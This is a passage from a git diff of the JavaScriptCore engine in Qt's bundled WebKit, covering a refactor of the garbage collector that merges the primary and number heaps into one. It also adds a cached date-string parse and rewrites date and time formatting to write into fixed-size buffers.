-    primaryHeap.operationInProgress = Collection;
-    numberHeap.operationInProgress = Collection;
+    m_heap.operationInProgress = Collection;
 
-    // MARK: first mark all referenced objects recursively starting out from the set of root objects
     MarkStack& markStack = m_globalData->markStack;
+
+    // Reset mark bits.
+    clearMarkBits();
+
+    // Mark stack roots.
     markStackObjectsConservatively(markStack);
+    m_globalData->interpreter->registerFile().markCallFrames(markStack, this);
+
+    // Mark explicitly registered roots.
     markProtectedObjects(markStack);
+
+    // Mark misc. other roots.
     if (m_markListSet && m_markListSet->size())
         MarkedArgumentBuffer::markLists(markStack, *m_markListSet);
     if (m_globalData->exception)
         markStack.append(m_globalData->exception);
-    m_globalData->interpreter->registerFile().markCallFrames(markStack, this);
-    m_globalData->smallStrings.markChildren(markStack);
     if (m_globalData->functionCodeBlockBeingReparsed)
         m_globalData->functionCodeBlockBeingReparsed->markAggregate(markStack);
     if (m_globalData->firstStringifierToMark)
         JSONObject::markStringifiers(markStack, m_globalData->firstStringifierToMark);
 
+    // Mark the small strings cache last, since it will clear itself if nothing
+    // else has marked it.
+    m_globalData->smallStrings.markChildren(markStack);
+
     markStack.drain();
     markStack.compact();
-    JAVASCRIPTCORE_GC_MARKED();
-
-    size_t originalLiveObjects = primaryHeap.numLiveObjects + numberHeap.numLiveObjects;
-    size_t numLiveObjects = sweep<PrimaryHeap>();
-    numLiveObjects += sweep<NumberHeap>();
 
-    primaryHeap.operationInProgress = NoOperation;
-    numberHeap.operationInProgress = NoOperation;
-    JAVASCRIPTCORE_GC_END(originalLiveObjects, numLiveObjects);
-
-    return numLiveObjects < originalLiveObjects;
+    m_heap.operationInProgress = NoOperation;
 }
 
-size_t Heap::objectCount() 
+size_t Heap::objectCount() const
 {
-    return primaryHeap.numLiveObjects + numberHeap.numLiveObjects - m_globalData->smallStrings.count(); 
+    return m_heap.nextBlock * HeapConstants::cellsPerBlock // allocated full blocks
+           + m_heap.nextCell // allocated cells in current block
+           + markedCells(m_heap.nextBlock, m_heap.nextCell) // marked cells in remainder of m_heap
+           - m_heap.usedBlocks; // 1 cell per block is a dummy sentinel
 }
 
-template <HeapType heapType> 
-static void addToStatistics(Heap::Statistics& statistics, const CollectorHeap& heap)
+void Heap::addToStatistics(Heap::Statistics& statistics) const
 {
-    typedef HeapConstants<heapType> HC;
-    for (size_t i = 0; i < heap.usedBlocks; ++i) {
-        if (heap.blocks[i]) {
-            statistics.size += BLOCK_SIZE;
-            statistics.free += (HC::cellsPerBlock - heap.blocks[i]->usedCells) * HC::cellSize;
-        }
-    }
+    statistics.size += m_heap.usedBlocks * BLOCK_SIZE;
+    statistics.free += m_heap.usedBlocks * BLOCK_SIZE - (objectCount() * HeapConstants::cellSize);
 }
 
 Heap::Statistics Heap::statistics() const
 {
     Statistics statistics = { 0, 0 };
-    JSC::addToStatistics<PrimaryHeap>(statistics, primaryHeap);
-    JSC::addToStatistics<NumberHeap>(statistics, numberHeap);
+    addToStatistics(statistics);
     return statistics;
 }
 
@@ -1290,12 +1171,13 @@ static const char* typeName(JSCell* cell)
         return "number";
 #endif
     if (cell->isGetterSetter())
-        return "gettersetter";
+        return "Getter-Setter";
     if (cell->isAPIValueWrapper())
-        return "value wrapper";
+        return "API wrapper";
     if (cell->isPropertyNameIterator())
-        return "for-in iterator";
-    ASSERT(cell->isObject());
+        return "For-in iterator";
+    if (!cell->isObject())
+        return "[empty cell]";
     const ClassInfo* info = cell->classInfo();
     return info ? info->className : "Object";
 }
@@ -1311,19 +1193,75 @@ HashCountedSet<const char*>* Heap::protectedObjectTypeCounts()
     return counts;
 }
 
+HashCountedSet<const char*>* Heap::objectTypeCounts()
+{
+    HashCountedSet<const char*>* counts = new HashCountedSet<const char*>;
+
+    LiveObjectIterator it = primaryHeapBegin();
+    LiveObjectIterator heapEnd = primaryHeapEnd();
+    for ( ; it != heapEnd; ++it)
+        counts->add(typeName(*it));
+
+    return counts;
+}
+
 bool Heap::isBusy()
 {
-    return (primaryHeap.operationInProgress != NoOperation) | (numberHeap.operationInProgress != NoOperation);
+    return m_heap.operationInProgress != NoOperation;
+}
+
+void Heap::reset()
+{
+    JAVASCRIPTCORE_GC_BEGIN();
+
+    markRoots();
+
+    JAVASCRIPTCORE_GC_MARKED();
+
+    m_heap.nextCell = 0;
+    m_heap.nextBlock = 0;
+    m_heap.nextNumber = 0;
+    m_heap.extraCost = 0;
+#if ENABLE(JSC_ZOMBIES)
+    sweep();
+#endif
+    resizeBlocks();
+
+    JAVASCRIPTCORE_GC_END();
+}
+
+void Heap::collectAllGarbage()
+{
+    JAVASCRIPTCORE_GC_BEGIN();
+
+    // If the last iteration through the heap deallocated blocks, we need
+    // to clean up remaining garbage before marking. Otherwise, the conservative
+    // marking mechanism might follow a pointer to unmapped memory.
+    if (m_heap.didShrink)
+        sweep();
+
+    markRoots();
+
+    JAVASCRIPTCORE_GC_MARKED();
+
+    m_heap.nextCell = 0;
+    m_heap.nextBlock = 0;
+    m_heap.nextNumber = 0;
+    m_heap.extraCost = 0;
+    sweep();
+    resizeBlocks();
+
+    JAVASCRIPTCORE_GC_END();
 }
 
-Heap::iterator Heap::primaryHeapBegin()
+LiveObjectIterator Heap::primaryHeapBegin()
 {
-    return iterator(primaryHeap.blocks, primaryHeap.blocks + primaryHeap.usedBlocks);
+    return LiveObjectIterator(m_heap, 0);
 }
 
-Heap::iterator Heap::primaryHeapEnd()
+LiveObjectIterator Heap::primaryHeapEnd()
 {
-    return iterator(primaryHeap.blocks + primaryHeap.usedBlocks, primaryHeap.blocks + primaryHeap.usedBlocks);
+    return LiveObjectIterator(m_heap, m_heap.usedBlocks);
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Collector.h b/src/3rdparty/webkit/JavaScriptCore/runtime/Collector.h
index 9ca9d18..3db3d7e 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Collector.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Collector.h
@@ -28,13 +28,17 @@
 #include <wtf/HashSet.h>
 #include <wtf/Noncopyable.h>
 #include <wtf/OwnPtr.h>
+#include <wtf/StdLibExtras.h>
 #include <wtf/Threading.h>
 
-// This is supremely lame that we require pthreads to build on windows.
 #if ENABLE(JSC_MULTIPLE_THREADS)
 #include <pthread.h>
 #endif
 
+#if OS(SYMBIAN)
+#include <wtf/symbian/BlockAllocatorSymbian.h>
+#endif
+
 #define ASSERT_CLASS_FITS_IN_CELL(class) COMPILE_ASSERT(sizeof(class) <= CELL_SIZE, class_fits_in_cell)
 
 namespace JSC {
@@ -47,19 +51,21 @@ namespace JSC {
     class MarkStack;
 
     enum OperationInProgress { NoOperation, Allocation, Collection };
-    enum HeapType { PrimaryHeap, NumberHeap };
 
-    template <HeapType> class CollectorHeapIterator;
+    class LiveObjectIterator;
 
     struct CollectorHeap {
+        size_t nextBlock;
+        size_t nextCell;
         CollectorBlock** blocks;
+        
+        void* nextNumber;
+
         size_t numBlocks;
         size_t usedBlocks;
-        size_t firstBlockWithPossibleSpace;
 
-        size_t numLiveObjects;
-        size_t numLiveObjectsAtLastCollect;
         size_t extraCost;
+        bool didShrink;
 
         OperationInProgress operationInProgress;
     };
@@ -67,21 +73,21 @@ namespace JSC {
     class Heap : public Noncopyable {
     public:
         class Thread;
-        typedef CollectorHeapIterator<PrimaryHeap> iterator;
 
         void destroy();
 
         void* allocateNumber(size_t);
         void* allocate(size_t);
 
-        bool collect();
         bool isBusy(); // true if an allocation or collection is in progress
+        void collectAllGarbage();
 
-        static const size_t minExtraCostSize = 256;
+        static const size_t minExtraCost = 256;
+        static const size_t maxExtraCost = 1024 * 1024;
 
         void reportExtraMemoryCost(size_t cost);
 
-        size_t objectCount();
+        size_t objectCount() const;
         struct Statistics {
             size_t size;
             size_t free;
@@ -89,7 +95,9 @@ namespace JSC {
         Statistics statistics() const;
 
         void protect(JSValue);
-        void unprotect(JSValue);
+        // Returns true if the value is no longer protected by any protect pointers
+        // (though it may still be alive due to heap/stack references).
+        bool unprotect(JSValue);
 
         static Heap* heap(JSValue); // 0 for immediate values
         static Heap* heap(JSCell*);
@@ -98,6 +106,7 @@ namespace JSC {
         size_t protectedObjectCount();
         size_t protectedGlobalObjectCount();
         HashCountedSet<const char*>* protectedObjectTypeCounts();
+        HashCountedSet<const char*>* objectTypeCounts();
 
         void registerThread(); // Only needs to be called by clients that can use the same heap from multiple threads.
 
@@ -111,13 +120,12 @@ namespace JSC {
         JSGlobalData* globalData() const { return m_globalData; }
         static bool isNumber(JSCell*);
         
-        // Iterators for the object heap.
-        iterator primaryHeapBegin();
-        iterator primaryHeapEnd();
+        LiveObjectIterator primaryHeapBegin();
+        LiveObjectIterator primaryHeapEnd();
 
     private:
-        template <HeapType heapType> void* heapAllocate(size_t);
-        template <HeapType heapType> size_t sweep();
+        void reset();
+        void sweep();
         static CollectorBlock* cellBlock(const JSCell*);
         static size_t cellOffset(const JSCell*);
 
@@ -125,12 +133,22 @@ namespace JSC {
         Heap(JSGlobalData*);
         ~Heap();
 
-        template <HeapType heapType> NEVER_INLINE CollectorBlock* allocateBlock();
-        template <HeapType heapType> NEVER_INLINE void freeBlock(size_t);
-        NEVER_INLINE void freeBlock(CollectorBlock*);
-        void freeBlocks(CollectorHeap*);
+        NEVER_INLINE CollectorBlock* allocateBlock();
+        NEVER_INLINE void freeBlock(size_t);
+        NEVER_INLINE void freeBlockPtr(CollectorBlock*);
+        void freeBlocks();
+        void resizeBlocks();
+        void growBlocks(size_t neededBlocks);
+        void shrinkBlocks(size_t neededBlocks);
+        void clearMarkBits();
+        void clearMarkBits(CollectorBlock*);
+        size_t markedCells(size_t startBlock = 0, size_t startCell = 0) const;
 
         void recordExtraCost(size_t);
+
+        void addToStatistics(Statistics&) const;
+
+        void markRoots();
         void markProtectedObjects(MarkStack&);
         void markCurrentThreadConservatively(MarkStack&);
         void markCurrentThreadConservativelyInternal(MarkStack&);
@@ -139,8 +157,7 @@ namespace JSC {
 
         typedef HashCountedSet<JSCell*> ProtectCountSet;
 
-        CollectorHeap primaryHeap;
-        CollectorHeap numberHeap;
+        CollectorHeap m_heap;
 
         ProtectCountSet m_protectedValues;
 
@@ -157,6 +174,11 @@ namespace JSC {
         pthread_key_t m_currentThreadRegistrar;
 #endif
 
+#if OS(SYMBIAN)
+        // Allocates collector blocks with correct alignment
+        WTF::AlignedBlockAllocator m_blockallocator; 
+#endif
+        
         JSGlobalData* m_globalData;
     };
 
@@ -171,7 +193,7 @@ namespace JSC {
 #endif
     template<> struct CellSize<sizeof(uint64_t)> { static const size_t m_value = 64; };
 
-#if PLATFORM(WINCE) || PLATFORM(SYMBIAN)
+#if OS(WINCE) || OS(SYMBIAN)
     const size_t BLOCK_SIZE = 64 * 1024; // 64k
 #else
     const size_t BLOCK_SIZE = 64 * 4096; // 256k
@@ -186,87 +208,60 @@ namespace JSC {
     const size_t SMALL_CELL_SIZE = CELL_SIZE / 2;
     const size_t CELL_MASK = CELL_SIZE - 1;
     const size_t CELL_ALIGN_MASK = ~CELL_MASK;
-    const size_t CELLS_PER_BLOCK = (BLOCK_SIZE * 8 - sizeof(uint32_t) * 8 - sizeof(void *) * 8 - 2 * (7 + 3 * 8)) / (CELL_SIZE * 8 + 2);
-    const size_t SMALL_CELLS_PER_BLOCK = 2 * CELLS_PER_BLOCK;
+    const size_t CELLS_PER_BLOCK = (BLOCK_SIZE - sizeof(Heap*)) * 8 * CELL_SIZE / (8 * CELL_SIZE + 1) / CELL_SIZE; // one bitmap byte can represent 8 cells.
+    
     const size_t BITMAP_SIZE = (CELLS_PER_BLOCK + 7) / 8;
     const size_t BITMAP_WORDS = (BITMAP_SIZE + 3) / sizeof(uint32_t);
-  
+
     struct CollectorBitmap {
         uint32_t bits[BITMAP_WORDS];
         bool get(size_t n) const { return !!(bits[n >> 5] & (1 << (n & 0x1F))); } 
         void set(size_t n) { bits[n >> 5] |= (1 << (n & 0x1F)); } 
         void clear(size_t n) { bits[n >> 5] &= ~(1 << (n & 0x1F)); } 
         void clearAll() { memset(bits, 0, sizeof(bits)); }
+        size_t count(size_t startCell = 0)
+        {
+            size_t result = 0;
+            for ( ; (startCell & 0x1F) != 0; ++startCell) {
+                if (get(startCell))
+                    ++result;
+            }
+            for (size_t i = startCell >> 5; i < BITMAP_WORDS; ++i)
+                result += WTF::bitCount(bits[i]);
+            return result;
+        }
+        size_t isEmpty() // Much more efficient than testing count() == 0.
+        {
+            for (size_t i = 0; i < BITMAP_WORDS; ++i)
+                if (bits[i] != 0)
+                    return false;
+            return true;
+        }
     };
   
     struct CollectorCell {
-        union {
-            double memory[CELL_ARRAY_LENGTH];
-            struct {
-                void* zeroIfFree;
-                ptrdiff_t next;
-            } freeCell;
-        } u;
-    };
-
-    struct SmallCollectorCell {
-        union {
-            double memory[CELL_ARRAY_LENGTH / 2];
-            struct {
-                void* zeroIfFree;
-                ptrdiff_t next;
-            } freeCell;
-        } u;
+        double memory[CELL_ARRAY_LENGTH];
     };
 
     class CollectorBlock {
     public:
         CollectorCell cells[CELLS_PER_BLOCK];
-        uint32_t usedCells;
-        CollectorCell* freeList;
         CollectorBitmap marked;
         Heap* heap;
-        HeapType type;
     };
 
-    class SmallCellCollectorBlock {
-    public:
-        SmallCollectorCell cells[SMALL_CELLS_PER_BLOCK];
-        uint32_t usedCells;
-        SmallCollectorCell* freeList;
-        CollectorBitmap marked;
-        Heap* heap;
-        HeapType type;
-    };
-    
-    template <HeapType heapType> struct HeapConstants;
-
-    template <> struct HeapConstants<PrimaryHeap> {
+    struct HeapConstants {
         static const size_t cellSize = CELL_SIZE;
         static const size_t cellsPerBlock = CELLS_PER_BLOCK;
-        static const size_t bitmapShift = 0;
         typedef CollectorCell Cell;
         typedef CollectorBlock Block;
     };
 
-    template <> struct HeapConstants<NumberHeap> {
-        static const size_t cellSize = SMALL_CELL_SIZE;
-        static const size_t cellsPerBlock = SMALL_CELLS_PER_BLOCK;
-        static const size_t bitmapShift = 1;
-        typedef SmallCollectorCell Cell;
-        typedef SmallCellCollectorBlock Block;
-    };
-
     inline CollectorBlock* Heap::cellBlock(const JSCell* cell)
     {
         return reinterpret_cast<CollectorBlock*>(reinterpret_cast<uintptr_t>(cell) & BLOCK_MASK);
     }
 
-    inline bool Heap::isNumber(JSCell* cell)
-    {
-        return Heap::cellBlock(cell)->type == NumberHeap;
-    }
-
     inline size_t Heap::cellOffset(const JSCell* cell)
     {
         return (reinterpret_cast<uintptr_t>(cell) & BLOCK_OFFSET_MASK) / CELL_SIZE;
@@ -284,8 +279,20 @@ namespace JSC {
 
     inline void Heap::reportExtraMemoryCost(size_t cost)
     {
-        if (cost > minExtraCostSize) 
-            recordExtraCost(cost / (CELL_SIZE * 2)); 
+        if (cost > minExtraCost) 
+            recordExtraCost(cost);
+    }
+    
+    inline void* Heap::allocateNumber(size_t s)
+    {
+        if (void* result = m_heap.nextNumber) {
+            m_heap.nextNumber = 0;
+            return result;
+        }
+
+        void* result = allocate(s);
+        m_heap.nextNumber = static_cast<char*>(result) + (CELL_SIZE / 2);
+        return result;
     }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/CollectorHeapIterator.h b/src/3rdparty/webkit/JavaScriptCore/runtime/CollectorHeapIterator.h
index e38a852..be6f3c9 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/CollectorHeapIterator.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/CollectorHeapIterator.h
@@ -31,58 +31,108 @@
 
 namespace JSC {
 
-    template <HeapType heapType> class CollectorHeapIterator {
+    class CollectorHeapIterator {
     public:
-        CollectorHeapIterator(CollectorBlock** block, CollectorBlock** endBlock);
-
-        bool operator!=(const CollectorHeapIterator<heapType>& other) { return m_block != other.m_block || m_cell != other.m_cell; }
-        CollectorHeapIterator<heapType>& operator++();
+        bool operator!=(const CollectorHeapIterator& other);
         JSCell* operator*() const;
     
-    private:
-        typedef typename HeapConstants<heapType>::Block Block;
-        typedef typename HeapConstants<heapType>::Cell Cell;
-
-        Block** m_block;
-        Block** m_endBlock;
-        Cell* m_cell;
-        Cell* m_endCell;
+    protected:
+        CollectorHeapIterator(CollectorHeap&, size_t startBlock, size_t startCell);
+        void advance(size_t max);
+
+        CollectorHeap& m_heap;
+        size_t m_block;
+        size_t m_cell;
+    };
+
+    class LiveObjectIterator : public CollectorHeapIterator {
+    public:
+        LiveObjectIterator(CollectorHeap&, size_t startBlock, size_t startCell = 0);
+        LiveObjectIterator& operator++();
+    };
+
+    class DeadObjectIterator : public CollectorHeapIterator {
+    public:
+        DeadObjectIterator(CollectorHeap&, size_t startBlock, size_t startCell = 0);
+        DeadObjectIterator& operator++();
+    };
+
+    class ObjectIterator : public CollectorHeapIterator {
+    public:
+        ObjectIterator(CollectorHeap&, size_t startBlock, size_t startCell = 0);
+        ObjectIterator& operator++();
     };
 
-    template <HeapType heapType> 
-    CollectorHeapIterator<heapType>::CollectorHeapIterator(CollectorBlock** block, CollectorBlock** endBlock)
-        : m_block(reinterpret_cast<Block**>(block))
-        , m_endBlock(reinterpret_cast<Block**>(endBlock))
-        , m_cell(m_block == m_endBlock ? 0 : (*m_block)->cells)
-        , m_endCell(m_block == m_endBlock ? 0 : (*m_block)->cells + HeapConstants<heapType>::cellsPerBlock)
+    inline CollectorHeapIterator::CollectorHeapIterator(CollectorHeap& heap, size_t startBlock, size_t startCell)
+        : m_heap(heap)
+        , m_block(startBlock)
+        , m_cell(startCell)
+    {
+    }
+
+    inline bool CollectorHeapIterator::operator!=(const CollectorHeapIterator& other)
     {
-        if (m_cell && m_cell->u.freeCell.zeroIfFree == 0)
-            ++*this;
+        return m_block != other.m_block || m_cell != other.m_cell;
     }
 
-    template <HeapType heapType> 
-    CollectorHeapIterator<heapType>& CollectorHeapIterator<heapType>::operator++()
+    inline JSCell* CollectorHeapIterator::operator*() const
+    {
+        return reinterpret_cast<JSCell*>(m_heap.blocks[m_block]->cells + m_cell);
+    }
+    
+    // Iterators advance up to the next-to-last -- and not the last -- cell in a
+    // block, since the last cell is a dummy sentinel.
+    inline void CollectorHeapIterator::advance(size_t max)
+    {
+        ++m_cell;
+        if (m_cell == max) {
+            m_cell = 0;
+            ++m_block;
+        }
+    }
+
+    inline LiveObjectIterator::LiveObjectIterator(CollectorHeap& heap, size_t startBlock, size_t startCell)
+        : CollectorHeapIterator(heap, startBlock, startCell - 1)
+    {
+        ++(*this);
+    }
+
+    inline LiveObjectIterator& LiveObjectIterator::operator++()
+    {
+        advance(HeapConstants::cellsPerBlock - 1);
+        if (m_block < m_heap.nextBlock || (m_block == m_heap.nextBlock && m_cell < m_heap.nextCell))
+            return *this;
+
+        while (m_block < m_heap.usedBlocks && !m_heap.blocks[m_block]->marked.get(m_cell))
+            advance(HeapConstants::cellsPerBlock - 1);
+        return *this;
+    }
+
+    inline DeadObjectIterator::DeadObjectIterator(CollectorHeap& heap, size_t startBlock, size_t startCell)
+        : CollectorHeapIterator(heap, startBlock, startCell - 1)
+    {
+        ++(*this);
+    }
+
+    inline DeadObjectIterator& DeadObjectIterator::operator++()
     {
         do {
-            for (++m_cell; m_cell != m_endCell; ++m_cell)
-                if (m_cell->u.freeCell.zeroIfFree != 0) {
-                    return *this;
-                }
-
-            if (++m_block != m_endBlock) {
-                m_cell = (*m_block)->cells;
-                m_endCell = (*m_block)->cells + HeapConstants<heapType>::cellsPerBlock;
-            }
-        } while(m_block != m_endBlock);
-
-        m_cell = 0;
+            advance(HeapConstants::cellsPerBlock - 1);
+            ASSERT(m_block > m_heap.nextBlock || (m_block == m_heap.nextBlock && m_cell >= m_heap.nextCell));
+        } while (m_block < m_heap.usedBlocks && m_heap.blocks[m_block]->marked.get(m_cell));
         return *this;
     }
 
-    template <HeapType heapType> 
-    JSCell* CollectorHeapIterator<heapType>::operator*() const
+    inline ObjectIterator::ObjectIterator(CollectorHeap& heap, size_t startBlock, size_t startCell)
+        : CollectorHeapIterator(heap, startBlock, startCell - 1)
     {
-        return reinterpret_cast<JSCell*>(m_cell);
+        ++(*this);
+    }
+
+    inline ObjectIterator& ObjectIterator::operator++()
+    {
+        advance(HeapConstants::cellsPerBlock - 1);
+        return *this;
     }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/CommonIdentifiers.h b/src/3rdparty/webkit/JavaScriptCore/runtime/CommonIdentifiers.h
index abe5038..de24f4a 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/CommonIdentifiers.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/CommonIdentifiers.h
@@ -50,6 +50,7 @@
     macro(get) \
     macro(getPrototypeOf) \
     macro(getOwnPropertyDescriptor) \
+    macro(getOwnPropertyNames) \
     macro(hasOwnProperty) \
     macro(ignoreCase) \
     macro(index) \
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/Completion.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/Completion.cpp
index 2507698..2f88df9 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/Completion.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/Completion.cpp
@@ -36,6 +36,7 @@ namespace JSC {
 Completion checkSyntax(ExecState* exec, const SourceCode& source)
 {
     JSLock lock(exec);
+    ASSERT(exec->globalData().identifierTable == currentIdentifierTable());
 
     RefPtr<ProgramExecutable> program = ProgramExecutable::create(exec, source);
     JSObject* error = program->checkSyntax(exec);
@@ -48,6 +49,7 @@ Completion checkSyntax(ExecState* exec, const SourceCode& source)
 Completion evaluate(ExecState* exec, ScopeChain& scopeChain, const SourceCode& source, JSValue thisValue)
 {
     JSLock lock(exec);
+    ASSERT(exec->globalData().identifierTable == currentIdentifierTable());
 
     RefPtr<ProgramExecutable> program = ProgramExecutable::create(exec, source);
     JSObject* error = program->compile(exec, scopeChain.node());
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/DateConstructor.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/DateConstructor.cpp
index 9908fef..ab95d06 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/DateConstructor.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/DateConstructor.cpp
@@ -28,6 +28,7 @@
 #include "JSFunction.h"
 #include "JSGlobalObject.h"
 #include "JSString.h"
+#include "JSStringBuilder.h"
 #include "ObjectPrototype.h"
 #include "PrototypeFunction.h"
 #include <math.h>
@@ -35,7 +36,7 @@
 #include <wtf/DateMath.h>
 #include <wtf/MathExtras.h>
 
-#if PLATFORM(WINCE) && !PLATFORM(QT)
+#if OS(WINCE) && !PLATFORM(QT)
 extern "C" time_t time(time_t* timer); // Provided by libce.
 #endif
 
@@ -77,14 +78,14 @@ JSObject* constructDate(ExecState* exec, const ArgList& args)
     double value;
 
     if (numArgs == 0) // new Date() ECMA 15.9.3.3
-        value = getCurrentUTCTime();
+        value = jsCurrentTime();
     else if (numArgs == 1) {
         if (args.at(0).inherits(&DateInstance::info))
             value = asDateInstance(args.at(0))->internalNumber();
         else {
             JSValue primitive = args.at(0).toPrimitive(exec);
             if (primitive.isString())
-                value = parseDate(primitive.getString());
+                value = parseDate(exec, primitive.getString(exec));
             else
                 value = primitive.toNumber(exec);
         }
@@ -108,7 +109,7 @@ JSObject* constructDate(ExecState* exec, const ArgList& args)
             t.second = args.at(5).toInt32(exec);
             t.isDST = -1;
             double ms = (numArgs >= 7) ? args.at(6).toNumber(exec) : 0;
-            value = gregorianDateTimeToMS(t, ms, false);
+            value = gregorianDateTimeToMS(exec, t, ms, false);
         }
     }
 
@@ -132,8 +133,12 @@ static JSValue JSC_HOST_CALL callDate(ExecState* exec, JSObject*, JSValue, const
     time_t localTime = time(0);
     tm localTM;
     getLocalTime(&localTime, &localTM);
-    GregorianDateTime ts(localTM);
-    return jsNontrivialString(exec, formatDate(ts) + " " + formatTime(ts, false));
+    GregorianDateTime ts(exec, localTM);
+    DateConversionBuffer date;
+    DateConversionBuffer time;
+    formatDate(ts, date);
+    formatTime(ts, time);
+    return jsMakeNontrivialString(exec, date, " ", time);
 }
 
 CallType DateConstructor::getCallData(CallData& callData)
@@ -144,12 +149,12 @@ CallType DateConstructor::getCallData(CallData& callData)
 
 static JSValue JSC_HOST_CALL dateParse(ExecState* exec, JSObject*, JSValue, const ArgList& args)
 {
-    return jsNumber(exec, parseDate(args.at(0).toString(exec)));
+    return jsNumber(exec, parseDate(exec, args.at(0).toString(exec)));
 }
 
 static JSValue JSC_HOST_CALL dateNow(ExecState* exec, JSObject*, JSValue, const ArgList&)
 {
-    return jsNumber(exec, getCurrentUTCTime());
+    return jsNumber(exec, jsCurrentTime());
 }
 
 static JSValue JSC_HOST_CALL dateUTC(ExecState* exec, JSObject*, JSValue, const ArgList& args) 
@@ -173,7 +178,7 @@ static JSValue JSC_HOST_CALL dateUTC(ExecState* exec, JSObject*, JSValue, const
     t.minute = args.at(4).toInt32(exec);
     t.second = args.at(5).toInt32(exec);
     double ms = (n >= 7) ? args.at(6).toNumber(exec) : 0;
-    return jsNumber(exec, gregorianDateTimeToMS(t, ms, true));
+    return jsNumber(exec, timeClip(gregorianDateTimeToMS(exec, t, ms, true)));
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/DateConversion.cpp b/src/3rdparty/webkit/JavaScriptCore/runtime/DateConversion.cpp
index a725478..f129407 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/DateConversion.cpp
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/DateConversion.cpp
@@ -43,6 +43,7 @@
 #include "config.h"
 #include "DateConversion.h"
 
+#include "CallFrame.h"
 #include "UString.h"
 #include <wtf/DateMath.h>
 #include <wtf/StringExtras.h>
@@ -51,51 +52,51 @@ using namespace WTF;
 
 namespace JSC {
 
-double parseDate(const UString &date)
+double parseDate(ExecState* exec, const UString &date)
 {
-    return parseDateFromNullTerminatedCharacters(date.UTF8String().c_str());
+    if (date == exec->globalData().cachedDateString)
+        return exec->globalData().cachedDateStringValue;
+    double value = parseDateFromNullTerminatedCharacters(exec, date.UTF8String().c_str());
+    exec->globalData().cachedDateString = date;
+    exec->globalData().cachedDateStringValue = value;
+    return value;
 }
 
-UString formatDate(const GregorianDateTime &t)
+void formatDate(const GregorianDateTime &t, DateConversionBuffer& buffer)
 {
-    char buffer[100];
-    snprintf(buffer, sizeof(buffer), "%s %s %02d %04d",
+    snprintf(buffer, DateConversionBufferSize, "%s %s %02d %04d",
         weekdayName[(t.weekDay + 6) % 7],
         monthName[t.month], t.monthDay, t.year + 1900);
-    return buffer;
 }
 
-UString formatDateUTCVariant(const GregorianDateTime &t)
+void formatDateUTCVariant(const GregorianDateTime &t, DateConversionBuffer& buffer)
 {
-    char buffer[100];
-    snprintf(buffer, sizeof(buffer), "%s, %02d %s %04d",
+    snprintf(buffer, DateConversionBufferSize, "%s, %02d %s %04d",
         weekdayName[(t.weekDay + 6) % 7],
         t.monthDay, monthName[t.month], t.year + 1900);
-    return buffer;
 }
 
-UString formatTime(const GregorianDateTime &t, bool utc)
+void formatTime(const GregorianDateTime &t, DateConversionBuffer& buffer)
 {
-    char buffer[100];
-    if (utc) {
-        snprintf(buffer, sizeof(buffer), "%02d:%02d:%02d GMT", t.hour, t.minute, t.second);
-    } else {
-        int offset = abs(gmtoffset(t));
-        char timeZoneName[70];
-        struct tm gtm = t;
-        strftime(timeZoneName, sizeof(timeZoneName), "%Z", &gtm);
+    int offset = abs(gmtoffset(t));
+    char timeZoneName[70];
+    struct tm gtm = t;
+    strftime(timeZoneName, sizeof(timeZoneName), "%Z", &gtm);
 
-        if (timeZoneName[0]) {
-            snprintf(buffer, sizeof(buffer), "%02d:%02d:%02d GMT%c%02d%02d (%s)",
-                t.hour, t.minute, t.second,
-                gmtoffset(t) < 0 ? '-' : '+', offset / (60*60), (offset / 60) % 60, timeZoneName);
-        } else {
-            snprintf(buffer, sizeof(buffer), "%02d:%02d:%02d GMT%c%02d%02d",
-                t.hour, t.minute, t.second,
-                gmtoffset(t) < 0 ? '-' : '+', offset / (60*60), (offset / 60) % 60);
-        }
+    if (timeZoneName[0]) {
+        snprintf(buffer, DateConversionBufferSize, "%02d:%02d:%02d GMT%c%02d%02d (%s)",
+            t.hour, t.minute, t.second,
+            gmtoffset(t) < 0 ? '-' : '+', offset / (60*60), (offset / 60) % 60, timeZoneName);
+    } else {
+        snprintf(buffer, DateConversionBufferSize, "%02d:%02d:%02d GMT%c%02d%02d",
+            t.hour, t.minute, t.second,
+            gmtoffset(t) < 0 ? '-' : '+', offset / (60*60), (offset / 60) % 60);
     }
-    return UString(buffer);
+}
+
+void formatTimeUTC(const GregorianDateTime &t, DateConversionBuffer& buffer)
+{
+    snprintf(buffer, DateConversionBufferSize, "%02d:%02d:%02d GMT", t.hour, t.minute, t.second);
 }
 
 } // namespace JSC
diff --git a/src/3rdparty/webkit/JavaScriptCore/runtime/DateConversion.h b/src/3rdparty/webkit/JavaScriptCore/runtime/DateConversion.h
index 0d12815..ff32b50 100644
--- a/src/3rdparty/webkit/JavaScriptCore/runtime/DateConversion.h
+++ b/src/3rdparty/webkit/JavaScriptCore/runtime/DateConversion.h
@@ -42,18 +42,21 @@
 #ifndef DateConversion_h
 #define DateConversion_h
 
-namespace WTF {
-    struct GregorianDateTime;
-}
+#include "UString.h"
 
 namespace JSC {
 
-class UString;
+class ExecState;
+struct GregorianDateTime;
 
-double parseDate(const UString&);
-UString formatDate(const WTF::GregorianDateTime&);
-UString formatDateUTCVariant(const WTF::GregorianDateTime&);
-UString formatTime(const WTF::GregorianDateTime&, bool inputIsUTC);
+static const unsigned DateConversionBufferSize = 100;
